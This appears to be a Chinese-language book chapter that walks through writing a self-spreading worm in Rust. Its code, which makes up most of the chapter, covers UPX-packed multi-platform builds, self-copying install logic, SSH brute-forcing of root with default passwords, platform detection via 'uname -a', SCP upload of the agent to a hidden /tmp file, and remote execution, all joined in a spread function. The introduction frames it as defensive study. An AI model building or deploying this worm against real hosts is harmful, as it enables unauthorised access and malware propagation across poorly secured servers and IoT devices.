在當今複雜的網路環境中,跨平台蠕蟲的威脅日益嚴重。本文將探討如何使用 Rust 語言開發跨平台蠕蟲,並利用 SSH 弱點進行傳播。我們將逐步解析跨平台編譯、壓縮封裝、SSH 連線建立、暴力破解、目標平台檢測、程式碼上傳和執行等關鍵步驟,並提供實際的程式碼範例和圖表說明。此外,我們還將探討供應依賴項的優缺點及其在蠕蟲開發中的應用。透過深入理解這些技術細節,讀者可以更有效地防禦跨平台蠕蟲攻擊,並提升系統安全性。

13.3 跨平台蠕蟲

跨平台蠕蟲是一種能夠跨不同作業系統和架構傳播的蠕蟲。

跨平台蠕蟲傳播

  graph LR
    A[x86_64 Windows] -->|感染|> B[ARM Linux]
    B -->|感染|> C[macOS Laptop]
    C -->|感染|> D[iOS Smartphone]

圖表翻譯:

此圖表展示了跨平台蠕蟲如何在不同作業系統和架構之間傳播。從x86_64 Windows系統開始,蠕蟲可以傳播到ARM Linux系統,然後進一步傳播到macOS筆記型電腦和iOS智慧手機。

13.4 透過SSH傳播

對於蠕蟲來說,透過SSH傳播是因為兩個主要原因:

  • IoT裝置組態不當
  • SSH金鑰管理困難

內容解密:

蠕蟲透過SSH傳播主要是因為許多IoT裝置的安全性差,並且SSH金鑰管理不當。加強IoT裝置的安全性和正確管理SSH金鑰是防止蠕蟲透過SSH傳播的有效方法。

13.5 供應依賴項

供應依賴項(Vendoring dependencies)是將所有依賴項與程式碼一起封裝在儲存函式庫中的做法。

優點:

  • 支援離線構建
  • 提高隱私性
  • 便於審查依賴項更新

缺點:

  • 顯著增加儲存函式庫的大小

程式碼範例:

# 使用cargo vendor命令供應依賴項
cargo vendor

內容解密:

使用cargo vendor命令可以將Rust專案的依賴項供應到儲存函式庫中。這樣做可以確保即使在沒有網路連線的情況下也可以構建專案,並且可以提高隱私性。

13.6 在Rust中實作跨平台蠕蟲

13.6.1 bundle.zip

首先,我們需要建立一個包含所有目標平台編譯版本的蠕蟲程式包。 為此,我們將使用之前學過的 cross 工具。 此外,為了減少包的大小,我們使用 upx 壓縮每個可執行檔。

Makefile 範例

.PHONY: bundle
bundle: x86_64 aarch64
	rm -rf bundle.zip
	zip -j bundle.zip target/agent.linux_x86_64 target/agent.linux_aarch64

.PHONY: x86_64
x86_64:
	cross build -p agent --release --target x86_64-unknown-linux-musl
	upx -9 target/x86_64-unknown-linux-musl/release/agent
	mv target/x86_64-unknown-linux-musl/release/agent target/agent.linux_x86_64

.PHONY: aarch64
aarch64:
	cross build -p agent --release --target aarch64-unknown-linux-musl
	upx -9 target/aarch64-unknown-linux-musl/release/agent
	mv target/aarch64-unknown-linux-musl/release/agent target/agent.linux_aarch64

執行 make bundle 後,我們的 bundle.zip 檔案將包含:

  • agent.linux_x86_64
  • agent.linux_aarch64

內容解密:

此Makefile用於建立一個包含多個平台執行檔的壓縮檔。首先,它會為x86_64和aarch64架構編譯agent程式,接著使用upx進行壓縮,最後將壓縮後的檔案封裝成zip格式。這個過程確保了我們的蠕蟲程式能夠支援多個平台,並且檔案大小得以最佳化。

13.7 安裝

在前一章中,我們瞭解瞭如何在不同作業系統上實作持久化。 現在,我們需要在安裝過程中新增一個步驟:解壓 bundle.zip 檔案。

Rust 安裝程式碼

pub fn install() -> Result<PathBuf, crate::Error> {
    let install_dir = config::get_agent_directory()?;
    let install_target = config::get_agent_install_target()?;
    if !install_target.exists() {
        println!("Installing into {}", install_dir.display());
        let current_exe = env::current_exe()?;
        fs::create_dir_all(&install_dir)?;
        fs::copy(current_exe, &install_target)?;
        // 在此處,我們可以從中央伺服器取得bundle
        let bundle = PathBuf::from("bundle.zip");
        if bundle.exists() {
            println!("bundle.zip found, extracting it to {}", install_dir.display());
            extract_bundle(install_dir.clone(), bundle)?;
        } else {
            println!("bundle.zip NOT found");
        }
    }
    Ok(install_dir)
}

fn extract_bundle(install_dir: PathBuf, bundle: PathBuf) -> Result<(), crate::Error> {
    let mut dist_bundle = install_dir.clone();
    dist_bundle.push(&bundle);
    fs::copy(&bundle, &dist_bundle)?;
    let zip_file = fs::File::open(&dist_bundle)?;
    let mut zip_archive = zip::ZipArchive::new(zip_file)?;
    for i in 0..zip_archive.len() {
        let mut archive_file = zip_archive.by_index(i)?;
        let dist_filename = match archive_file.enclosed_name() {
            Some(path) => path.to_owned(),
            None => continue,
        };
        let mut dist_path = install_dir.clone();
        dist_path.push(dist_filename);
        let mut dist_file = fs::File::create(&dist_path)?;
        io::copy(&mut archive_file, &mut dist_file)?;
    }
    Ok(())
}

內容解密:

這段程式碼負責將蠕蟲程式安裝到目標系統,並解壓包含多平台執行檔的bundle.zip。首先,它檢查目標安裝路徑是否存在,如果不存在,則進行安裝並解壓縮檔。解壓過程中,它將壓縮檔中的檔案複製到安裝目錄中。這確保了蠕蟲程式能夠在不同平台上執行。

13.8 傳播

13.8.1 SSH 連線

let tcp = TcpStream::connect(host_port)?;
let mut ssh = Session::new()?;
ssh.set_tcp_stream(tcp);
ssh.handshake()?;

內容解密:

這段程式碼建立了與遠端主機的SSH連線。首先,它透過TCP連線到指定的主機和埠,然後初始化一個SSH會話,並進行握手以建立安全連線。

13.8.2 暴力破解

pub static USERNAMES: &'static [&str] = &["root"];
pub static PASSWORDS: &'static [&str] = &["password", "admin", "root"];

fn bruteforce(ssh: &Session) -> Result<Option<(String, String)>, crate::Error> {
    for username in wordlist::USERNAMES {
        for password in wordlist::PASSWORDS {
            let _ = ssh.userauth_password(username, password);
            if ssh.authenticated() {
                return Ok(Some((username.to_string(), password.to_string())));
            }
        }
    }
    return Ok(None);
}

內容解密:

此函式嘗試透過暴力破解的方式對SSH伺服器進行身份驗證。它遍歷預定義的使用者名稱和密碼列表,嘗試登入。如果成功,它將傳回驗證成功的使用者名稱和密碼組合。

13.8.3 檢測目標平台

#[derive(Debug, Clone, Copy)]
enum Platform {
    LinuxX86_64,
    LinuxAarch64,
    MacOsX86_64,
    MacOsAarch64,
    Unknown,
}

fn identify_platform(ssh: &Session) -> Result<Platform, crate::Error> {
    let mut channel = ssh.channel_session()?;
    channel.exec("uname -a")?;
    let (stdout, _) = consume_stdio(&mut channel);
    let stdout = stdout.trim();
    // 根據uname -a的輸出判斷平台
    if stdout.contains("Linux") {
        if stdout.contains("x86_64") {
            return Ok(Platform::LinuxX86_64);
        } else if stdout.contains("aarch64") {
            return Ok(Platform::LinuxAarch64);
        }
    } else if stdout.contains("Darwin") {
        // 處理macOS
    }
    Ok(Platform::Unknown)
}

內容解密:

這段程式碼定義了一個列舉Platform來表示不同的作業系統平台。identify_platform函式透過在遠端主機上執行uname -a命令來檢測目標系統的平台型別,並傳回相應的Platform列舉值。

13.8.4 上傳

fn upload_agent(ssh: &Session, agent_path: &PathBuf) -> Result<String, crate::Error> {
    let rand_name: String = thread_rng().sample_iter(&Alphanumeric).take(32).map(char::from).collect();
    let hidden_rand_name = format!(".{}", rand_name);
    let mut remote_path = PathBuf::from("/tmp");
    remote_path.push(&hidden_rand_name);
    let agent_data = fs::read(agent_path)?;
    let mut channel = ssh.scp_send(&remote_path, 0o700, agent_data.len() as u64, None)?;
    channel.write_all(&agent_data)?;
    Ok(remote_path.display().to_string())
}

內容解密:

此函式透過SCP將本地的agent程式上傳到遠端主機。首先,它生成一個隨機的檔案名以避免名稱衝突,然後讀取本地agent檔案的內容,並透過SCP將其上傳到遠端主機的/tmp目錄下。

13.8.5 執行遠端Agent

fn execute_remote_agent(ssh: &Session, remote_path: &str) -> Result<(), crate::Error> {
    let mut channel_exec = ssh.channel_session()?;
    channel_exec.exec(remote_path)?;
    let _ = consume_stdio(&mut channel_exec);
    Ok(())
}

內容解密:

此函式在遠端主機上執行之前上傳的agent程式。它透過SSH會話建立一個執行通道,並執行指定的遠端路徑下的程式。

13.8.6 傳播函式

pub fn spread(install_dir: PathBuf, host_port: &str) -> Result<(), crate::Error> {
    // 建立SSH連線
    let tcp = TcpStream::connect(host_port)?;
    let mut ssh = Session::new()?;
    ssh.set_tcp_stream(tcp);
    ssh.handshake()?;
    // 暴力破解
    match bruteforce(&mut ssh)? {
        Some((username, password)) => println!("Authenticated! username: ({}), password: ({})", username, password),
        None => return Ok(()),
    };
    // 識別平台、上傳並執行agent
    // ...
}

內容解密:

spread函式整合了上述所有步驟:建立SSH連線、暴力破解身份驗證、識別遠端主機平台、上傳agent程式並執行它。這個過程使蠕蟲能夠傳播到遠端主機。

此圖示顯示了蠕蟲傳播的流程

  graph LR
    A[建立SSH連線] --> B{身份驗證}
    B -->|成功| C[識別遠端平台]
    B -->|失敗| D[結束]
    C --> E[上傳Agent]
    E --> F[執行遠端Agent]
    F --> G[傳播完成]

圖表翻譯: 此圖表展示了蠕蟲傳播的主要步驟。首先,它嘗試與目標主機建立SSH連線並進行身份驗證。如果驗證成功,則識別遠端主機的平台型別,接著上傳並執行蠕蟲程式。如果身份驗證失敗,則傳播過程終止。最終,蠕蟲在遠端主機上成功執行,完成了傳播過程。